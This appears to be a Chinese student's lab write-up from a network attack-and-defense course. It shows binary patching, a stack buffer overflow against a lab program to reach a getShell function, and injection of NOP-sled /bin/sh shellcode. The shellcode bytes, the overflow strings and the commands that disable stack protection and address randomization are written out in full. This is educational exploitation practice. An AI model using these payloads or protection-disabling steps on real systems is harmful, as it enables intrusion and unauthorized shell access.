20221902 2022-2023-2 《网络攻防实践》第九次作业

本文详细介绍了Linux环境下的汇编指令,如NOP、JMP、CMP等,并探讨了如何通过修改二进制文件指令实现程序流程控制。实验过程涉及缓冲区溢出漏洞的利用,包括构造特定字符串覆盖返回地址以调用getShell函数,以及利用NOP滑梯和shellcode执行。此外,还讨论了地址随机化和堆栈可执行性对安全的影响。
摘要由CSDN通过智能技术生成

1.知识点梳理与总结

(1)常用Linux操作指令

  • objdump -d:对任意一个二进制文件进行反汇编
  • :%!xxd:把二进制文档转成十六进制显示
  • perl -e:指定字符串以作为脚本(多个字符串迭加)执行
  • |:管道,把前者的输出作为后者的输入
  • >:重定向,将输出内容指向一个指定文件

(2)NOP, JNE, JE, JMP, CMP汇编指令对应的机器码

  • NOP:"no operation"空操作,机器码0x90
  • JNE:"not equal"不等则跳转,机器码0x75
  • JE:相等则跳转,机器码0x74
  • JMP:无条件跳转
  1. 段内直接短转Jmp short,机器码0xEB;
  2. 段内直接近转移Jmp near,机器码0xE9;
  3. 段内间接转移Jmp word,机器码0xFF;
  4. 段间直接(远)转移Jmp far,机器码0xEA。
  • CMP:比较指令,CMP的功能相当于减法指令。它不保存结果,只是影响相应的标志位,机器码0x39

更多详情请参见汇编指令机器码对应列表

(3)Linux构造攻击buf的方法

Linux下有两种基本构造攻击buf的方法,一般选择第一种。

  1. retaddr+nop+shellcode
  2. nop+shellcode+retaddr
  • execstack -s pwn1 设置堆栈可执行;
  • execstack -q pwn1 查询文件的堆栈是否可执行;
  • more /proc/sys/kernel/randomize_va_space查看地址随机化的状态;
  • echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化。

2.实验原理

3.实验过程

(1) 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

  • 对20221902pwn可执行文件进行反汇编
objdump -d 20221902pwn | more

在这里插入图片描述

  • 分析反汇编出来的指令,寻找需要修改的指令对应的机器码

在这里插入图片描述

  • main函数通过call 8048491 <foo>(对应的机器指令为:e8 d7 ff ff ff,其中e8是call指令的机器码,d7 ff ff ff是十六进制补码,EIP的值 + ffffffd7 = 8048491 = 80484ba + ffffffd7)来调用foo函数。
  • 如果要使得main函数调用getShell函数,只需将call 8048491 <foo>改为call 804847d <getShell>即可。所以只需要修改call 8048491 <getShell>指令对应的机器指令,将其改为:e8 c3 ff ff ff(804847d-80484ba=ffffffc3)
  • 打开可执行文件,将显示模式由二进制切换为十六进制模式
vim 20221902pwn
:%!xxd
  • 查找需要修改的部分

在这里插入图片描述

  • 按i切换为输入模式,修改d7为c3

在这里插入图片描述

  • 转换16进制为原格式,保存退出
:%!xxd -r
:wq
  • 对修改结果进行验证
objdump -d 20221902pwn | more

在这里插入图片描述

  • 修改前后对比

在这里插入图片描述

(2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

  • 需求分析:
  • 当输入的字符串超过0x1c=28个字节后,就会造成缓冲区溢出,而我们需要做的就是构造一个字符串,使其产生缓冲区溢出,并且溢出到图中EIP的值正好为getShell的起始地址0x0804847d。
  • 在给字符串预留的28个字节上面4个字节是存放main函数堆栈的栈底,在上面4个字节是返回地址。因此,我们需要构造的字符串的第33-36个字节为0x0804847d。
  • 预备知识:
  • 使用perl语言,能够将无法通过键盘输入的十六进制值直接输入,并使用输出重定向">"将perl生成的字符串存储到文件中。例如:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input 是将字符串"11111111222222223333333344444444\x7d\x84\x04\x08\x0a"重定向到文件input中。
  • xxd 文件名将文件内容以16进制形式呈现。
  • (cat 文件名file1;cat) | 可执行文件名file2将file1中的字符串通过管道传递给file2,作为可执行文件file2的输入。
  • 构造字符串 11111111222222223333333344444444\x08\x04\x84\x7d,和11111111222222223333333344444444\x7d\x84\x04\x08分别测试

在这里插入图片描述

应该构造字符串11111111222222223333333344444444\x7d\x84\x04\x08,才能达到目的。

(3)注入一个自己制作的shellcode并运行这段shellcode。

  • 需求分析
  • 与任务二类似,在给字符串预留的28个字节上面4个字节是存放main函数堆栈的栈底,在上面4个字节是返回地址。因此,我们需要构造的字符串的第33-36个字节为我们想要注入的shellcode的起始地址。
  • 由于执行过程的未知性,想要准确知道shellcode的起始地址的很难的,为了提高猜测的准确性,我们一般在想要注入的shellcode前面填充许多空操作nop(机器码为0x90),使得只要找到任意一个0x90的位置作为起始地址覆盖到eip处,就能够让shellcode被执行。
  • 所以,我们需要找到0x90的位置。
  • 设置堆栈可执行状态
execstack -s 文件名  //设置堆栈可执行;
execstack -q 文件名  //查询文件的堆栈是否可执行;

在这里插入图片描述

  • 关闭地址随机化,并查看地址随机化的状态
more /proc/sys/kernel/randomize_va_space  //查看地址随机化的状态;
echo "0" > /proc/sys/kernel/randomize_va_space  //关闭地址随机化;

在这里插入图片描述

  • 构造shellcode,找到shellcode的起始地址
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > 20221902input3
  • 上面的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置我们需要把它改为shellcode的起始地址,所以通过调试找到0x90所在位置,调试过程如下:

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4.学习中遇到的问题及解决

问题1:调试过程出现问题,未发现对应的20221902pwn2进程

  • 原因:第一个终端输入(cat 20221902input3;cat) | ./20221902pwn2注入攻击buf 时,多按一个回车导致程序执行完毕
  • 解决方法:
1.输入(cat input_shellcode;cat) | ./pwn_3注入shellcode攻击
2.在终端2中输入ps -ef | grep 20221902pwn2,查找20221902pwn2的进程号
3.在终端2中使用gdb对20221902pwn2进行调试,输入对应的进程号

5.学习感悟、思考等

  • 本次实验虽然花费我大量的时间,但是也收获了同比的知识。让在我对缓冲区溢出原理清楚明白的基础上,辅以相应的实践,加深了我对缓冲区溢出的理解。
  • 同时,也让我反思自己以前写的代码,对于int A[10];这种代码产生一种危机感,深刻明白自己在代码编写方面的不足。
  • 最重要的是让我学会在遇到事情时,一定要冷静分析,把握大方向。首先要有思路也就是目标要明确,然后进行预期,操作,验证。做的每一步都要进行验证,每一步验证的成功,才能达到最后的成功。

参考资料

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值